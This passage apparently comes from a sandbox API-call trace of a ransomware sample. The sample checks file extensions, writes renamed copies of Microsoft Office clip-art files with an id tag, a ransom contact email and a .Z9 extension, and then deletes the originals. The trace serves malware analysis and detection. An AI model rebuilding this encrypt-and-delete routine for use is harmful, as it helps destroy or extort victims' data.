	[0093.905] lstrlenW (lpString=".xls") returned 4
	[0093.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.905] lstrlenW (lpString=".xlsx") returned 5
	[0093.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.905] lstrlenW (lpString=".ppt") returned 4
	[0093.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.905] lstrlenW (lpString=".zip") returned 4
	[0093.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.905] lstrlenW (lpString=".rar") returned 4
	[0093.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString=".bz2") returned 4
	[0093.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString=".7z") returned 3
	[0093.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.906] lstrlenW (lpString=".dbf") returned 4
	[0093.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.906] lstrlenW (lpString=".1cd") returned 4
	[0093.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.906] lstrlenW (lpString=".jpg") returned 4
	[0093.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.906] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.906] lstrlenW (lpString="FD02161_.WMF") returned 12
	[0093.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.906] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3128) returned 1
	[0093.907] CloseHandle (hObject=0x38c) returned 1
	[0093.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220
	[0093.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.907] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.907] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.909] GetLastError () returned 0x0
	[0093.909] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xc38, lpOverlapped=0x0) returned 1
	[0093.974] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xc40, lpOverlapped=0x0) returned 1
	[0093.975] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.975] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.975] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.995] CloseHandle (hObject=0x2bc) returned 1
	[0093.995] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.995] SetEndOfFile (hFile=0x38c) returned 1
	[0093.997] CloseHandle (hObject=0x38c) returned 1
	[0093.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.018] lstrlenW (lpString=".doc") returned 4
	[0094.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString=".docx") returned 5
	[0094.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.019] lstrlenW (lpString=".pdf") returned 4
	[0094.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString=".xls") returned 4
	[0094.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.019] lstrlenW (lpString=".xlsx") returned 5
	[0094.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.019] lstrlenW (lpString=".ppt") returned 4
	[0094.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString=".zip") returned 4
	[0094.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.019] lstrlenW (lpString=".rar") returned 4
	[0094.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString=".bz2") returned 4
	[0094.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString=".7z") returned 3
	[0094.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString=".dbf") returned 4
	[0094.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString=".1cd") returned 4
	[0094.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString=".jpg") returned 4
	[0094.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.019] lstrlenW (lpString=".doc") returned 4
	[0094.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.019] lstrlenW (lpString=".docx") returned 5
	[0094.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.019] lstrlenW (lpString=".pdf") returned 4
	[0094.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString=".xls") returned 4
	[0094.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.020] lstrlenW (lpString=".xlsx") returned 5
	[0094.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.020] lstrlenW (lpString=".ppt") returned 4
	[0094.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.020] lstrlenW (lpString=".zip") returned 4
	[0094.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.020] lstrlenW (lpString=".rar") returned 4
	[0094.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString=".bz2") returned 4
	[0094.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString=".7z") returned 3
	[0094.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.020] lstrlenW (lpString=".dbf") returned 4
	[0094.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.020] lstrlenW (lpString=".1cd") returned 4
	[0094.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0094.020] lstrlenW (lpString=".jpg") returned 4
	[0094.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.020] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.020] lstrlenW (lpString="HH00231_.WMF") returned 12
	[0094.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.021] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2232) returned 1
	[0094.021] CloseHandle (hObject=0x378) returned 1
	[0094.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220
	[0094.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.022] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.022] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.023] GetLastError () returned 0x0
	[0094.023] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0094.024] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0094.025] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.025] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.025] SetEndOfFile (hFile=0x364) returned 1
	[0094.025] CloseHandle (hObject=0x364) returned 1
	[0094.028] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.028] SetEndOfFile (hFile=0x378) returned 1
	[0094.029] CloseHandle (hObject=0x378) returned 1
	[0094.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString=".doc") returned 4
	[0094.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString=".docx") returned 5
	[0094.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.030] lstrlenW (lpString=".pdf") returned 4
	[0094.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString=".xls") returned 4
	[0094.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.030] lstrlenW (lpString=".xlsx") returned 5
	[0094.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.030] lstrlenW (lpString=".ppt") returned 4
	[0094.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString=".zip") returned 4
	[0094.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.030] lstrlenW (lpString=".rar") returned 4
	[0094.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString=".bz2") returned 4
	[0094.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString=".7z") returned 3
	[0094.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString=".dbf") returned 4
	[0094.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString=".1cd") returned 4
	[0094.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.030] lstrlenW (lpString=".jpg") returned 4
	[0094.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString=".doc") returned 4
	[0094.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString=".docx") returned 5
	[0094.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.031] lstrlenW (lpString=".pdf") returned 4
	[0094.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString=".xls") returned 4
	[0094.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.031] lstrlenW (lpString=".xlsx") returned 5
	[0094.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.031] lstrlenW (lpString=".ppt") returned 4
	[0094.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString=".zip") returned 4
	[0094.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.031] lstrlenW (lpString=".rar") returned 4
	[0094.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString=".bz2") returned 4
	[0094.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString=".7z") returned 3
	[0094.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString=".dbf") returned 4
	[0094.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString=".1cd") returned 4
	[0094.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0094.031] lstrlenW (lpString=".jpg") returned 4
	[0094.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.032] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.032] lstrlenW (lpString="HH00235_.WMF") returned 12
	[0094.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.032] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1026) returned 1
	[0094.032] CloseHandle (hObject=0x378) returned 1
	[0094.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220
	[0094.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.032] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.032] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.033] GetLastError () returned 0x0
	[0094.033] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x402, lpOverlapped=0x0) returned 1
	[0094.034] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x410, lpOverlapped=0x0) returned 1
	[0094.035] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.035] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.035] SetEndOfFile (hFile=0x364) returned 1
	[0094.035] CloseHandle (hObject=0x364) returned 1
	[0094.035] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.035] SetEndOfFile (hFile=0x378) returned 1
	[0094.036] CloseHandle (hObject=0x378) returned 1
	[0094.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0094.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.037] lstrlenW (lpString=".doc") returned 4
	[0094.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.037] lstrlenW (lpString=".docx") returned 5
	[0094.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.037] lstrlenW (lpString=".pdf") returned 4
	[0094.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.037] lstrlenW (lpString=".xls") returned 4
	[0094.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.037] lstrlenW (lpString=".xlsx") returned 5
	[0094.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.037] lstrlenW (lpString=".ppt") returned 4
	[0094.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString=".zip") returned 4
	[0094.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.038] lstrlenW (lpString=".rar") returned 4
	[0094.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString=".bz2") returned 4
	[0094.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString=".7z") returned 3
	[0094.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString=".dbf") returned 4
	[0094.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString=".1cd") returned 4
	[0094.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString=".jpg") returned 4
	[0094.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.038] lstrlenW (lpString=".doc") returned 4
	[0094.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString=".docx") returned 5
	[0094.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.038] lstrlenW (lpString=".pdf") returned 4
